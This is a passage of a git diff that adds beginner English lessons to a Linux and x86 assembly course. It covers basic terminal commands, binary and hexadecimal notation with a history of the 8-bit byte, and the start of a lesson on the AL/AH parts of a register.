+| **Jump** | "Go to this line of the list" (decisions, loops) | [11_ziplamalar](./11_ziplamalar.md) |
+| **Call a part** | "Run this section of the list, then come back here" | [15_call_ve_ret](./15_call_ve_ret.md) |
+| **Call out to the OS** | "Operating system, print this to the screen / read this" | [17_sistem_cagrilari](./17_sistem_cagrilari.md) |
+
+As you can see, the list is short. All the programs a person uses in their whole life — that's just this handful of primitive orders, lined up billions of times, in the right sequence. And that's the beauty of it: from a small number of simple parts, unlimited complexity.
+
+Just to satisfy your curiosity, here's a glimpse of how the order "put 5 in box EAX" looks in real assembly (don't memorize it yet, just see it):
+
+```
+mov eax, 5
+```
+
+That's it. The way to say "put 5 in EAX" to the machine. In the coming units we'll write this and **run** it, and we'll see that 5 on the screen with `echo $?`.
+
+---
+
+## Why Does Such a Dumb Worker Work at All?
+
+We've been saying "dumb worker" all along; this sounds like a flaw. Actually it gives two big **advantages**:
+
+1. **Predictability.** Because the worker never improvises, you can know **for certain** what a program will do. There is no "did it maybe mean this?"; whatever you wrote is what happens. This is what makes hunting for bugs (and, later, understanding security holes) possible.
+2. **Speed.** Because the worker doesn't "think," and only carries out simple orders, it can be incredibly fast. Intelligence is slow; dumb but fast execution, when piled up, does everything.
+
+> 🔑 In short: a computer's power comes not from its intelligence but from **repeating simple jobs flawlessly and at a dizzying speed.** You give it the right list; it carries out the list with flawless loyalty. Programming is the craft of writing that list.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A computer is not magic: a warehouse + pocket boxes + a worker.
+☐ Memory (the warehouse) = numbered boxes; each box holds a number.
+ - The box's NUMBER = address. The box's INSIDE = value. (They're different!)
+☐ Register (pocket boxes) = the FEW boxes the worker reaches instantly (EAX, EBX...).
+☐ Processor (the worker) = very fast + very dumb; only does fetch → do → advance.
+☐ Program = a list of orders carried out in sequence (a to-do list).
+☐ Running = putting the list into memory and telling the worker "start." A running program = a process.
+☐ The worker understands a handful of orders: move, compute, compare, jump, call a part, call out to the OS.
+☐ Dumbness is not a flaw: it means predictability + speed.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The course roadmap and how to study it
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — If "everything is a number," how does a cat video happen? Meaning comes from the code
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — Where we'll talk to this worker from: the terminal
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — A closer look at the warehouse and pocket boxes
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
new file mode 100644
index 0000000..00190a9
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
@@ -0,0 +1,278 @@
+# 💻 x86 Assembly — Getting to Know the Terminal
+
+> Until now you've always talked to the computer by *clicking*: press an icon, a window opens.
+> The terminal, on the other hand, is where you give the computer orders by **typing** — not with the mouse, with the keyboard, one at a time.
+> At first it looks bare and intimidating; but it's actually the cleanest way to talk directly, without a middleman, to that "letter-for-letter obedient worker" from the previous lesson.
+> In this lesson, for the first time, we'll give it orders with our own hands.
+
+> **There is not a single line of assembly in this lesson.** We'll just get to know the terminal, type a few commands into it, and *see with our own eyes* what happens. The goal: to feel comfortable in front of the terminal. That comfort will be the foundation of everything later, when you write and run code.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is the Terminal? (And Why Not the Mouse?)](#what-is-the-terminal-and-why-not-the-mouse)
+- [How Do I Open the Terminal?](#how-do-i-open-the-terminal)
+- [The Anatomy of the Terminal: Type, Press Enter, Read](#the-anatomy-of-the-terminal-type-press-enter-read)
+- [Your First Order: `echo`](#your-first-order-echo)
+- [Where Am I? What's Here?](#where-am-i-whats-here)
+- [Make a Folder, Go Inside](#make-a-folder-go-inside)
+- [Create a File and Look Inside It](#create-a-file-and-look-inside-it)
+- [What Just Happened? (A Program or a Process?)](#what-just-happened-a-program-or-a-process)
+- [Did You Get an Error? Good.](#did-you-get-an-error-good)
+
+---
+
+## What Is the Terminal? (And Why Not the Mouse?)
+
+When you double-click an icon, what you're really telling the computer is: "run that program." You just say it **with the mouse**. The terminal is a window where you say the same thing **by typing**: you write a command, you press Enter, the computer does it.
+
+So why type when clicking is right there? Because:
+
+- **Precision.** With the mouse there's no "I meant that one"; whatever command you type is exactly what runs. This is the natural way to talk to the "letter-for-letter obedient worker" from the previous lesson.
+- **Power.** With a single line, you can instantly make it do work that would take minutes of fiddling with the mouse.
+- **Necessity.** Writing and running assembly, compiling code, tracing a program step by step — all of this is done from the terminal. So for this course the terminal isn't a choice, it's our home.
+
+> 💡 "Terminal", "console", "command line", "shell" — you'll hear all of them for more or less the same thing: that window where you give commands by typing. For now, don't worry about the fine differences between them.
+
+---
+
+## How Do I Open the Terminal?
+
+This course is entirely about **Linux** — our assembly tools (nasm, ld, gdb) live there. We won't be using Windows or macOS; we go straight through Linux.
+
+There are a few ways to open the terminal on Linux:
+
+- Find and open the application named **"Terminal"** (on some systems **"Console"**) among your applications.
+- Or the shortcut that works on most desktops: **`Ctrl + Alt + T`**.
+
+> 💡 If you don't have a working Linux yet, don't worry: we'll do the full setup of the environment and tools together, start to finish, in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md). It's perfectly fine to get through this lesson just by **reading** for now, and to come back and try the commands yourself once you've set up the terminal.
+
+When you open it, what most likely appears is a dark-colored window with a few words in it and a small, blinking line. Don't be afraid — we'll figure it out in a moment.
+
+---
+
+## The Anatomy of the Terminal: Type, Press Enter, Read
+
+That first line you see in the terminal window is called the **prompt** (the command prompt). It's the line that says to you, "go ahead, type your order." Roughly, it looks like this:
+
+```
+kullanici@bilgisayar:~$ ▮
+```
+
+Piece by piece:
+
+```
+ kullanici → your username
+ @ → means "at"
+ bilgisayar → the name of the machine
+ ~ → the folder you're currently in (~ = your home folder)
+ $ → the "you can type a command here" mark
+ ▮ → the blinking cursor: the letters you type go here
+```
+
+You talk to the terminal in a single rhythm:
+
+```
+ 1) TYPE the command
+ 2) Press ENTER
+ 3) The computer runs the command, prints the result (the output)
+ 4) It gives you a new prompt: "go ahead, what's next?"
+```
+
+That's all. The blinking cursor is patient because it's waiting for you; there's no rush. If you type wrong, you can delete it before pressing Enter. Let's give it its first order.
+
+---
+
+## Your First Order: `echo`
+
+`echo` means "whatever I give you, write it back to the screen." It's the most harmless, most reassuring first command. Type this and press Enter:
+
+```
+echo Hello
+```
+
+What you'll see:
+
+```
+Hello
+```
+
+It worked! You told the computer something, and it did it letter for letter — no more, no less, just like that dumb-but-obedient worker. Print something else if you like:
+
+```
+echo i command the computer
+```
+```
+i command the computer
+```
+
+> 💡 This little moment matters: **you** made that text appear on the screen, without clicking anywhere with the mouse. That's the whole logic of the terminal — type, let it run, see the result.
+
+---
+
+## Where Am I? What's Here?
+
+The terminal is always standing **inside a folder** (just like you're standing in an open folder in a file manager, but invisibly). Two basic questions:
+
+**"Which folder am I in right now?"** → `pwd` (in English, *print working directory*)
+
+```
+pwd
+```
+```
+/home/kullanici
+```
+
+So right now you're in the home folder of the person named `kullanici`. (The `~` mark in the prompt was already telling you this.)
+
+**"What's in this folder?"** → `ls` (in English, *list*)
+
+```
+ls
+```
+```
+Documents Downloads Desktop Pictures
+```
+
+`ls` lists the files and folders in the folder you're in. In an empty folder it prints nothing — that's normal too, it means "there's nothing here."
+
+> 🔑 Keep in mind: in the terminal you are **always somewhere.** "Where am I?" `pwd`, "what's here?" `ls`. If you feel lost, these two are your compass.
+
+---
+
+## Make a Folder, Go Inside
+
+So we don't leave the course files scattered around, let's open a work folder for ourselves.
+
+**Create a folder** → `mkdir` (in English, *make directory*)
+
+```
+mkdir asm_dersi
+```
+
+It prints nothing to the screen — but the silence here means "okay, done." (The worker doesn't talk unnecessarily.) Check with `ls`, and now `asm_dersi` should show up.
+
+**Go inside the folder** → `cd` (in English, *change directory*)
+
+```
+cd asm_dersi
+```
+
+Now if you type `pwd` you'll notice you see `/asm_dersi` at the end — you went inside. If you want to go back out:
+
+```
+cd ..
+```
+
+`..` means "one folder up." With `cd` you move between folders like walking between the rooms of a building.
+
+> 💡 While typing a command, try writing the first few letters of a folder/file name and pressing **Tab** — the terminal completes the rest for you. It both speeds you up and prevents typos. (This is called *tab completion*; it'll be indispensable to you.)
+
+---
+
+## Create a File and Look Inside It
+
+While you're inside the `asm_dersi` folder, let's create a small note file:
+
+```
+echo "my first note" > not.txt
+```
+
+There are two new things here. First, the `"..."` quotes: they hold several words together as a single piece of text. In `echo Hello` there was no need since it was a single word (the three-word example above also worked without quotes); but when writing text to a file, quotes are the cleanest way of saying "all of these are one piece." Second, the `>` mark: normally `echo` would write the output **to the screen**; `>` instead means "write the output not to the screen, but **to that file**." So this line creates a file named `not.txt` with `my first note` written inside it. Nothing appears on the screen — the output went to the file now.
+
+If you type `ls` you'll see `not.txt`. So what's inside it? **To see the contents of a file** → `cat`:
+
+```
+cat not.txt
+```
+```
+my first note
+```
+
+There you go: you created a file and looked inside it — all from the keyboard.
+
+> ⚠️ Careful: `>` **wipes the file's contents and writes from scratch.** If `not.txt` is already full and you do `echo "..." > not.txt` again, the old content is erased. If you want to **append to the end** of the content, use a double `>>` instead of a single `>`. For now, just jot this down on the side.
+
+---
+
+## What Just Happened? (A Program or a Process?)
+
+Now let's go back and make a nice connection. `echo`, `ls`, `cat` — these are all actually **programs.** Small programs that sit on the disk and know how to do the job of "write to the screen", "list the folder", "show the file".
+
+What happens when you type `ls` and press Enter is the very picture from the previous lesson:
+
+```
+ 1) The operating system finds the program named "ls" on the disk
+ 2) It loads it into memory (the storehouse)
+ 3) The worker (the processor) runs that program's list of orders → the output comes to the screen
+ 4) The program ends, control returns to you → a new prompt
+```
+
+> 🔑 Here those two words become concrete:
+> - **Program** = the list of orders sitting on the disk (the recipe). E.g.: the `ls` program.
+> - **Process** = that program loaded into memory and **currently running** (the recipe cooking in the kitchen).
+>
+> So `ls` is a program on the disk; when you run it a short-lived process is born, does its job, dies, and gives you back the prompt. Every command is a small process being born and dying.
+
+Later we'll write and run **our own** program with `nasm`. That will be exactly like this: the file you write is a program on the disk, and when you run it, a process. The terminal is where you kick off this cycle.
+
+---
+
+## Did You Get an Error? Good.
+
+Sooner or later you'll type a command wrong. For instance, instead of `echo`, by mistake:
+
+```
+eco Hello
+```
+```
+eco: command not found
+```
+
+No panic — this isn't the terminal getting mad at you; it's just saying **"I don't recognize a program called eco"**. In other words, you typed a letter wrong. Fix it, try again. That's exactly the usual programming cycle: type → get an error → read → fix.
+
+See error messages as a **clue, not an enemy**. Most of the time they tell you exactly what's wrong:
+
+- `command not found` → you typed the command name wrong, or that program isn't installed.
+- `No such file or directory` → you gave a file/folder name that doesn't exist (again, most of the time a typo).
+- `Permission denied` → you don't have permission to do that job (we'll touch on this later).
+
+> 💡 All three of the most common errors actually turn out to be "typos." That's why **completion with Tab** (which we saw above) is both a speed boost and a shield against errors.
+
+> 💡 **You might be wondering:** *"If I type something wrong, could I accidentally delete my precious Linux or my files?"* The commands you know (`echo`, `ls`, `pwd`, `cd`, `mkdir`, `cat`) **delete** nothing — they only look, move around, and create. The real sharp knife that deletes files is `rm`, but we haven't even taught it yet; when it comes, we'll point at it loudly. Typing a command wrong is harmless too: the result is at most `command not found`, meaning nothing happens. (System files also require `sudo` + a password, so you can't stumble into them by accident.)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Terminal = the window where you give the computer orders by TYPING, not with the mouse.
+☐ Rhythm: type the command → Enter → read the output → new prompt.
+☐ In the terminal you're always inside a folder:
+ - pwd → "where am I?" (which folder)
+ - ls → "what's here?" (file/folder list)
+☐ Navigating and creating:
+ - mkdir → create a folder
+ - cd → go into a folder | cd .. → one folder up
+☐ File:
+ - echo "..." > file → write output not to the screen but to a file (WIPES its contents; use >> to append)
+ - cat file → show the file's contents
+☐ echo/ls/cat are PROGRAMS; when you run them they become short-lived PROCESSES.
+☐ Error = not an enemy, a clue. Most errors are typos. Complete with Tab.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The "worker" that runs the program and the program/process distinction
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Installing the assembly tools in the terminal and running the first program
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — Counting the way the machine counts
+
+---
+
+**Previous topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+**Next topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
new file mode 100644
index 0000000..9ae1b94
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/03_sayilar_ikilik_onaltilik.md
@@ -0,0 +1,275 @@
+# 🔢 x86 Assembly — Numbers: The Way the Machine Counts
+
+> The machine doesn't write numbers the way you do. Inside there is only **on** and **off** —
+> that is, only two digits: 1 and 0. This gives rise to long, tiring-to-read numbers; so people write
+> them with a short notation called **hexadecimal**. The only goal of this lesson is for you to be able to
+> *read* the machine's numbers. Not to do arithmetic — to read. So that when `0xff` shows up in GDB you don't
+> say "what on earth is this?"
+
+> **There is no code in this lesson, and no math homework at all.** We'll learn binary and hexadecimal only
+> enough to *recognize* them. No four operations by hand, no memorization. Promise: this is not the thing you feared.
+
+---
+
+## 📋 Table of Contents
+
+- [Don't Be Afraid: This Is Not Math, It's Literacy](#dont-be-afraid-this-is-not-math-its-literacy)
+- [Why Binary? Because Inside There's Only On/Off](#why-binary-because-inside-theres-only-onoff)
+- [You Already Know the Decimal System](#you-already-know-the-decimal-system)
+- [Binary: Same Idea, Just Two Digits](#binary-same-idea-just-two-digits)
+- [Why Is a Byte 0–255? (The Answer from 01)](#why-is-a-byte-0255-the-answer-from-01)
+- [Hexadecimal: A Shorthand for Humans](#hexadecimal-a-shorthand-for-humans)
+- ["Reading" Hex (Not Calculating It)](#reading-hex-not-calculating-it)
+- [Where Will I See This?](#where-will-i-see-this)
+- [Appendix: Why Is a Byte 8 Bits? (History and Reasons)](#appendix-why-is-a-byte-8-bits-history-and-reasons)
+
+---
+
+## Don't Be Afraid: This Is Not Math, It's Literacy
+
+Most people, when they hear the phrase "binary number system," remember the nightmare math from school. There's nothing like that here.
+
+Imagine you're learning a foreign alphabet. Your goal isn't to write poetry in that language; it's just to be able to **read** the signs. That's our concern too: the machine writes numbers in its own alphabet (1s and 0s, or their shorthand, hex), and we're going to learn to read those signs. You don't need to do any addition or subtraction by hand — the computer already does that.
+
+> 🔑 The single goal of this lesson: when you see something like `1011` or `0xff`, to be able to say "this is a number, roughly this big." You don't need to be a fluent translator; being *literate* is enough.
+
+---
+
+## Why Binary? Because Inside There's Only On/Off
+
+In the previous lesson we thought of the computer as "numbered boxes + a worker." So how does the number inside those boxes *physically* sit there?
+
+The inside of a computer is nothing but billions of tiny **switches**. Each switch is either **on** or **off** — like a light switch, no in-between. These are all the "digits" the machine has to work with:
+
+```
+ on → 1
+ off → 0
+```
+
+Only two symbols. That's why the machine has to write every number with these two digits — this is called **binary**. Everything you see (numbers, letters, images, music) ultimately comes down to these sequences of on/off switches.
+
+A single switch (a single on/off) is called a **bit**. A bit is the smallest piece of information in a computer: either 0 or 1.
+
+> 💡 "Why 2 digits instead of 10?" Because there are two states a switch can reliably tell apart: present/absent, on/off. The machine can't reliably hold something like "exactly 63% on." Two states are solid and clear — and that's why the machine counts in binary.
+
+---
+
+## You Already Know the Decimal System
+
+You've actually used the idea of "place value" your whole life, you just never named it. Look at this number: **347**
+
+```
+ 3 4 7
+ ↓ ↓ ↓
+ 3×100 4×10 7×1 → 300 + 40 + 7 = 347
+```
+
+So every digit has a **value**: rightmost the ones, then tens, then hundreds... These values go 1, 10, 100, 1000 — that is, **powers of 10.** Why 10? Because we have **10 digits** (0–9).
+
+Here's the whole secret: **binary is exactly the same system, only because it has 2 digits instead of 10, the place values are powers of 2.** You're not learning anything new; you're doing what you already know with a different number of digits.
+
+---
+
+## Binary: Same Idea, Just Two Digits
+
+In decimal the places grew 1, 10, 100… In binary they grow 1, 2, 4, 8, 16… (doubling at each step):
+
+```
+ ... 128 64 32 16 8 4 2 1 ← place values (powers of 2)
+```
+
+To read a binary number, you add up the values of the places that are **1**. Example — `1011`:
+
+```
+ place value: 8 4 2 1
+ bit: 1 0 1 1
+ ↓ ↓ ↓ ↓
+ 8 + 0 + 2 + 1 = 11
+```
+
+So binary `1011` is the number **11** that we know. One more example — `110`:
+
+```
+ place value: 4 2 1
+ bit: 1 1 0 → 4 + 2 + 0 = 6
+```
+
+That's all. "Add up the values of the ones." You don't even need to grab paper and practice it; seeing the logic is enough.
+
+---
+
+## Why Is a Byte 0–255? (The Answer from 01)
+
+If you recall, in the first lesson I said "each box holds a number between 0–255, and we'll see later why it's 255." Here's the answer.
+
+The computer uses bits not one by one, but **in groups.** A group of 8 bits is called a **byte** — that is, 8 switches side by side. Those "boxes" of memory are each a byte.
+
+With 8 switches, what's the smallest and largest number?
+
+```
+ Smallest: 0 0 0 0 0 0 0 0 → all off = 0
+
+ Largest: 1 1 1 1 1 1 1 1 → all on
+ values: 128 64 32 16 8 4 2 1
+ = 128+64+32+16+8+4+2+1 = 255
+```
+
+> 🔑 So 8 bits can hold a total of **256** different values, **from 0 to 255.** That's the answer to "why 255?": the largest number reached when all 8 switches of a byte are on is 255. For larger numbers the machine uses several bytes side by side (we'll see this later).
+
+> 💡 **Something you might be wondering:** *"If a box holds at most 255, then where does my score of 5000 in a game, or my money in the bank, sit?"* It doesn't fit in one box — the machine spreads the big number across **several consecutive boxes** (we touched on this above). How these boxes are counted as a single big number, and the question "how does the worker know they're a single number and not 4 separate small numbers?", we explain exactly in [04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md).
+
+> 💡 **But why exactly 8 switches — why not 7 or 9?** And why is the maximum therefore 255? This isn't actually a math rule, it's a historical **choice.** We explain both the reason and the story in detail in the [Appendix: Why Is a Byte 8 Bits?](#appendix-why-is-a-byte-8-bits-history-and-reasons) section at the very end of the lesson. For now it's enough to say "groups of 8 are a convention, and we explain why at the end."
+
+---
+
+## Hexadecimal: A Shorthand for Humans
+
+Binary is great for the machine but tiring for humans: writing and reading `11111111` strains the eyes and is easy to get wrong. The solution is **hexadecimal** (hexadecimal, or *hex* for short).
+
+Hex has one neat trick: **4 bits correspond exactly to a single hex digit.** (Because 4 bits write 16 different values, and hex also has 16 digits.) Since 16 digits don't end at 0–9, the ones from 10 to 15 are written with letters:
+
+```
+ binary hex binary hex
+ 0000 = 0 1000 = 8
+ 0001 = 1 1001 = 9
+ 0010 = 2 1010 = A (10)
+ 0011 = 3 1011 = B (11)
+ 0100 = 4 1100 = C (12)
+ 0101 = 5 1101 = D (13)
+ 0110 = 6 1110 = E (14)
+ 0111 = 7 1111 = F (15)
+```
+
+A byte is 8 bits; 8 bits = two groups of 4 = **exactly 2 hex digits.** Here's the short form of that tiring byte:
+
+```
+ binary: 1111 1111
+ hex: F F → written: 0xFF
+ decimal: 255
+```
+
+The leading `0x` is placed to say "attention, this is a hex number" — otherwise we'd confuse whether `FF` is a number or letters. When you see `0xFF`, you read it as "a single byte, all on, i.e. 255."
+
+> 💡 That's the entire reason hex exists: a faithful, one-to-one but **short** way of writing binary. That's why at the low level (assembly, GDB, memory dumps) numbers are almost always written in hex. It doesn't hide the binary — it just tidies it up.
+
+---
+
+## "Reading" Hex (Not Calculating It)
+
+Now the most reassuring part: **you don't have to convert hex to decimal in your head.** The trick of it is recognition:
+
+- If you see `0x` in front → "this is a raw machine number / address."
+- `0xFF` → a byte, all its bits on (255).
+- Something long like `0x080484b6` → not scary; it's just a **box number** (an address), written in short form. The numbers of the boxes in the warehouse from the previous lesson look exactly like this.
+
+When you need the exact number, **let the computer do the conversion.** For example, in the terminal (recall from lesson 02) you can type `python3` and try these:
+
+```
+>>> 0xff
+255
+>>> 0b1011
+11
+```
+
+So when you type `0x...` it tells you the decimal equivalent, and the same for `0b...` (binary). No need to fuss by hand; the goal is to *recognize* these notations.
+
+> 🔑 The literacy bar is this much: (1) `0x` = hex, `0b` = binary; (2) one byte = 2 hex digits; (3) when you see it, not panicking and being able to say "this is a number/address." Over time, familiarity by sight comes on its own.
+
+---
+
+## Where Will I See This?
+
+If this lesson felt abstract, you'll see its payoff concretely very soon. Later, when tracing programs with GDB (lesson 07), the screen will be full of things like this:
+
+```
+ eax = 0x5
+ ebx = 0xffffd6a4
+ address 0x08048000 ...
+```
+
+From today on, these are no longer meaningless charms: `eax = 0x5` → "there's a 5 in the EAX box"; `0xffffd6a4` → "an address, i.e. a box number." You've learned to read the machine language of numbers; the rest will settle in with practice.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Goal: to READ machine numbers (not calculate). Not math homework, literacy.
+☐ Inside there's only on(1)/off(0) → the machine counts in BINARY. One switch = 1 bit.
+☐ Binary is the same as decimal; place values are powers of 2, not 10: 1,2,4,8,16,32,64,128...
+ - Reading = add up the values of the places that are 1. (1011 = 8+2+1 = 11)
+☐ 1 byte = 8 bits → largest 11111111 = 255. So a byte is 0–255 (256 values). [the answer from 01]
+☐ "8" is not a law of nature, but a historical choice (a letter fits + 2 BCD digits + power of 2). Detail: the Appendix at the end.
+☐ HEX = the short form of binary. 4 bits = 1 hex digit; 1 byte = 2 hex digits.
+ - Digits: 0–9, then A,B,C,D,E,F (10–15). 0x goes in front. E.g.: 11111111 = 0xFF = 255.
+☐ Don't do the conversion by hand: in python3, 0xff → 255, 0b1011 → 11. You just RECOGNIZE.
+☐ The bar: 0x=hex, 0b=binary; byte=2 hex digits; when you see it, say "this is a number/address."
+```
+
+---
+
+## Appendix: Why Is a Byte 8 Bits? (History and Reasons)
+
+> This section is for the curious. Skipping it won't stop you from understanding the rest of the lesson — but if you asked above "why is a byte exactly 8?", the answer (and its story) is here. And the story is actually a good one.
+
+### First, the most important fact: 8 is not a rule, it's a choice
+
+There is **no** law in math or physics that says "a byte must be 8 bits." You can group bits in any number you like; the question is only "how many to a group?" Indeed, the first computers were complete chaos on this front — every machine chose its own size. "8" is a convention that later won out for specific reasons.
+
+### Where does the word "byte" come from?
+
+The term was coined in 1956 by IBM engineer **Werner Buchholz**, while IBM's first transistorized supercomputer "Stretch" (IBM 7030) was being designed. Buchholz deliberately spelled the English word *bite* (a mouthful) as *byte* so it wouldn't be confused with "bit" — so a byte roughly meant "a mouthful of bits the machine bites off and processes at once."
+
+The interesting thing is: on Stretch, the size of a byte was **not fixed.** The machine could address individual bits, and how many bits a byte would be was specified inside the instruction (variable length). So at the start "byte" didn't yet mean "8 bits"; it just meant "a group of bits."
+
+### Before standardization: the chaos of bit sizes
+
+Before 8 was standardized, machines tried every route:
+
+```
+ 4 bit → BCD: to write a single decimal digit (0–9)
+ 5 bit → Baudot: old telex/telegraph code
+ 6 bit → BCDIC, military Fieldata: letter+digit+symbol (weak upper/lower case distinction)
+ ... → word sizes also varied widely, like 12, 36, 60 bit
+```
+
+36-bit machines (for example the PDP-10) were common into the 1970s. In that era numbers were often written in **octal**, because word sizes were multiples of 3. So the world of "everything in hex" didn't exist yet.
+
+### The standardization of 8: IBM System/360 (1964)
+
+The turning point was the **IBM System/360** (announced in 1964). This machine **fixed the byte at 8 bits**, made memory addressable byte by byte, and introduced an 8-bit character encoding called **EBCDIC**. Because System/360 was a colossal commercial success, the 8-bit byte became the de facto standard for the whole world. Then Intel's 8008/8080 microprocessors carried this 8-bit tradition into the personal-computer era; everything you have today is built on top of it.
+
+Fred Brooks, one of the chief architects of System/360, later said "the most important technical decision of my career was choosing the 8-bit byte for the 360" — his wager was that **text/character processing** would become more important than pure decimal arithmetic. It turned out right.
+
+### So why exactly 8? (three reasons came together)
+
+1. **So that a letter fits exactly (character encoding).** 6 bits give only 64 possibilities — not enough for uppercase + lowercase + digits + punctuation. 8 bits give 256 possibilities: room for a whole character set, and even accented/extra characters on top. (7-bit ASCII was enough for English; going to 8 left room both for extra characters and for error checking/parity.) In short, "1 byte = 1 character" sat comfortably.
+
+2. **Practical for decimal (BCD) arithmetic.** The business/finance machines of that era worked with decimal numbers, and a decimal digit was written in 4 bits (BCD). Two 4-bit digits fit exactly into one 8-bit byte. So 8 sat cleanly into the decimal world too.
+
+3. **A power of 2 / hardware-friendly.** 8 = 2³. Binary addressing, memory layout, and data buses work cleanly with powers of 2. Moreover, 8 divides into two 4-bit groups — that is, into the **two hex digits** you just learned. That's exactly why a byte is exactly 2 hex digits. Had it been 9 bits, it would neither sit cleanly into hex nor have this alignment.
+
+### There's also "octet"
+
+In some places (especially in networking/communication standards, in RFCs) you'll see the word **octet** instead of byte. The reason is precisely this history: because "byte" hasn't always been 8 bits in the past, those who want to say "definitely 8 bits" use the unambiguous term "octet." So when you see octet, read it as "exactly 8 bits."
+
+### And the essence of the "why 255?" question
+
+Now it's clear why 255 is 255: because a byte was fixed at 8 bits, 8 bits hold `2⁸ = 256` different values, i.e. **0–255.** Had the convention been 7 bits the largest number would be 127, had it been 9 bits it would be 511. So 255 is not a magic number; it's the **direct arithmetic result of the 8-bit tradition** chosen for the reasons above. First (for those reasons) came 8, and 255 fell out of it.
+
+> 🔑 Summary: "byte = 8 bits" is not a law of nature, but a historical agreement. 8 was settled on so that a letter fits (256 characters), two decimal digits are packed (2×4 bits), and it comes out "round" to the machine (a power of 2, two hex digits); IBM System/360 made it the standard. And 255 is the natural consequence of that 8.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Boxes, the byte, and the "why 0–255" question
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where addresses (box numbers) are written in hex
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll see registers and addresses live, in hex
+
+---
+
+**Previous topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+**Next topic:** [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
new file mode 100644
index 0000000..e85ef20
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/04.5_registerin_ici.md
@@ -0,0 +1,155 @@
+# 🔍 x86 Assembly — Inside a Register: AL, AH and Size Games
+
+> In 04 you met the registers: the boxes in the worker's pockets, each holding 4 bytes.
+> In this short intermezzo lesson we step INSIDE one of those pockets once more. It turns out you don't
+> always have to use a register as a whole — whenever you like, you can touch just a part of it, say a single
+> byte of it. A small detail, but it really cements how registers actually do their work.
+
+> **No code here either.** We're just looking at the inner structure of a register. If you're in a hurry you can
+> skim this lesson and jump to 05; but the "**same bits, different window**" idea here will clear your head a lot
+> later on, once you start doing work with bytes. Short, I promise.
+
+---
+
+## 📋 Table of Contents
+
+- [Recall: One Register, 4 Bytes](#recall-one-register-4-bytes)
+- [AX: The Lower Half of the Register](#ax-the-lower-half-of-the-register)
+- [AL and AH: The Two Bytes of AX](#al-and-ah-the-two-bytes-of-ax)
+- [The Most Important Part: Same Bits, Different Window](#the-most-important-part-same-bits-different-window)
+- [Which Registers Have This?](#which-registers-have-this)
+- [What Is This Good For?](#what-is-this-good-for)
+
+---
+
+## Recall: One Register, 4 Bytes
+
+Recall from 04: a register, say `EAX`, holds 32 bits = 4 bytes. Most of the time you use EAX as a single whole, a 4-byte number.
+
+But you don't always need that much room. Sometimes all you have is a single byte's worth (0–255) of something — say a single letter. Spending a whole register on that feels wasteful. So x86 gives you a convenience: you can use **only a part** of the register. Let's see how.
+
+---
+
+## AX: The Lower Half of the Register
+
+We touched on this briefly in the Appendix at the end of 04: the **lower 16 bits** of EAX are called `AX`. (The historical reason was explained there: on old machines registers were 16-bit, and `AX` is a name left over from those days; the leading `E` stands for "Extended", i.e. the version widened to 32 bits.)
+
+16 bits = 2 bytes; so AX can hold a number from 0 to 65535. (From 03: 16 bits = 4 hex digits.)
+
+```
+ EAX (32 bit)
+ ┌─────────────────────┬─────────────────────┐
+ │ (high 16 bit) │ AX │
+ │ │ (low 16 bit) │
+ └─────────────────────┴─────────────────────┘
+```
+
+The upper 16 bits of EAX have no name of their own; you can't reach them directly, on their own. But you can reach the lower half by calling it `AX`.
+
+---
+
+## AL and AH: The Two Bytes of AX
+
+Let's take it one step further. AX itself was 2 bytes. Those two bytes have separate names too:
+
+- Lower (low) byte → `AL` (L = *low*)
+- Upper (high) byte → `AH` (H = *high*)
+
+Each is exactly 1 byte = 8 bits = 0–255 (again that range you know from 03). The whole picture looks like this:
+
+```
+ bit: 31 .............. 16 | 15 ....... 8 | 7 ....... 0
+ ┌─────────────────────┬──────────────┬─────────────┐
+EAX = │ (unnamed high 16) │ AH │ AL │
+ └─────────────────────┴──────────────┴─────────────┘
+ │←────────── AX ──────────→│
+```
+
